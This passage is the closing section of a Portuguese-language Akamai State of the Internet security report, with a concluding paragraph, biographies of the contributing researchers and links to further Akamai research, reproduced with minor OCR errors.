sentido, e atingir um equilibrio entre elas é crucial.

A estratégia de quatro passos ndo é apenas tedrica, mas também testada nas trincheiras de
conflitos cibernéticos do mundo real. Ao implementar essas medidas, as organizagdes
melhoram significativamente sua postura de ciberseguranga, garantindo que estejam bem
equipadas para navegar pelo complexo mundo digital, prontas para recusar "convites"
desnecessaérios e resistir a "socos" inevitaveis.

A pesquisa neste SOTI fornece os mais recentes insights e ferramentas para ficar a frente
das ameacas no cendrio de ciberseguranga em constante evolugdo. Permita que essa
colecao seja um guia para a construgao de um futuro digital mais seguro e resiliente.
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Colaboradores de pesquisa

Liron Schiff
Principal pesquisador de seguranga,
Akamai

<

H4& mais de uma década, Liron (também cientista-chefe do
grupo de pesquisa de segurancga de |A) lidera projetos de
pesquisa e desenvolvimento no setor de ciberseguranga,
juntamente com pesquisas académicas na area de redes de
computadores. Sua pesquisa se concentra nos aspectos de
programabilidade, resiliéncia e seguranga das redes.

-

Stiv Kupchik

Ex-lider da equipe de pesquisadores de
segurancga

Os projetos de Stiv giram em torno de aspectos internos do
sistema operacional, pesquisa de vulnerabilidades e anélise
de malware. Ele apresentou pesquisas em conferéncias
como a Black Hat, Hexacon e 44CON.

Ori David
Lider da equipe de pesquisadores de
seguranga, Akamai

A pesquisa de Ori se concentra em seguranga ofensiva,
andlise de malware e identificagdo de ameagas.

Ben Barnea
Pesquisador de seguranga, Akamai

Ben tem interesse e experiéncia na realizagédo de pesquisa
de seguranga de baixo nivel e pesquisa de vulnerabilidades
em vdrias arquiteturas, incluindo Windows, Linux, Internet
das coisas e dispositivos méveis. Ele também gosta de
aprender como mecanismos complexos funcionam e, mais
importante, como eles falham.

Tomer Peled
Pesquisador de segurancga, Akamai

Em seu trabalho diario, Tomer realiza pesquisas que vao de
pesquisas de vulnerabilidade a questdes internas do
sistema operacional.

Sam Tinklenberg

Pesquisador Sénior de Seguranca, Akamai

Sam é membro do Grupo de pesquisa sobre ameacas a
apps e APIs e tem experiéncia em testes de penetragdo de
aplicativos da Web. Ele é apaixonado por encontrar e
proteger-se contra vulnerabilidades criticas.

Ryan Barnett

Principal pesquisador de seguranga,
Akamai

Ryan é membro do Grupo de pesquisa sobre ameagas que
oferece suporte as solugdes de seguranca App & API
Protector. Além de seu trabalho principal na Akamai, Ryan
também é membro do Conselho WASC e lider de projeto
OWASP para WHID (Web Hacking Incident Database) e
Distributed Web Honeypots.
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Akamai

State of the Internet/Segurancay

Leia as edi¢cOes anteriores e fique por
dentro das préximas versdes dos
aclamados relatérios State of the Internet/
Segurancga da Akamai. akamai.com/soti/

Pesquisa sobre ameacgas da
Akamai

Mantenha-se em dia com as mais recentes
andlises de inteligéncia de ameacas,
relatérios de seguranga e pesquisas sobre
ciberseguranca. akamai.com/security-
research

Acesse os dados deste relatorio

Visualize versdes em alta qualidade das
tabelas e dos graficos mencionados neste
relatério. Essas imagens podem ser usadas
e consultadas livremente, desde que a
Akamai seja devidamente creditada como a
fonte e que o logotipo da Akamai seja
mantido. akamai.com/sotidata

Pesquisa sobre segurancada
Akamai

Leia o blog da pesquisa sobre segurancga
da Akamai para obter uma perspectiva
de resposta rapida sobre a pesquisa mais
importante de hoje. akamai.com/blog/
security-research

As solugdes de seguranca da Akamai protegem os aplicativos que impulsionam seus negécios em cada ponto de interagédo, sem

comprometer o desempenho ou a experiéncia do cliente. Ao aproveitar a escala de nossa plataforma global e sua visibilidade de ameacas,

trabalhamos com vocé para evitar, detectar e mitigar ameagas, permitindo que vocé construa a confianga na sua marca e opere de acordo

com a sua visdo. Saiba mais sobre as solugdes de computagdo em nuvem, seguranga e entrega de contetido da Akamai em e
, ou siga a Akamai Technologies no X, antigo Twitter, e . Publicado em 02/25.
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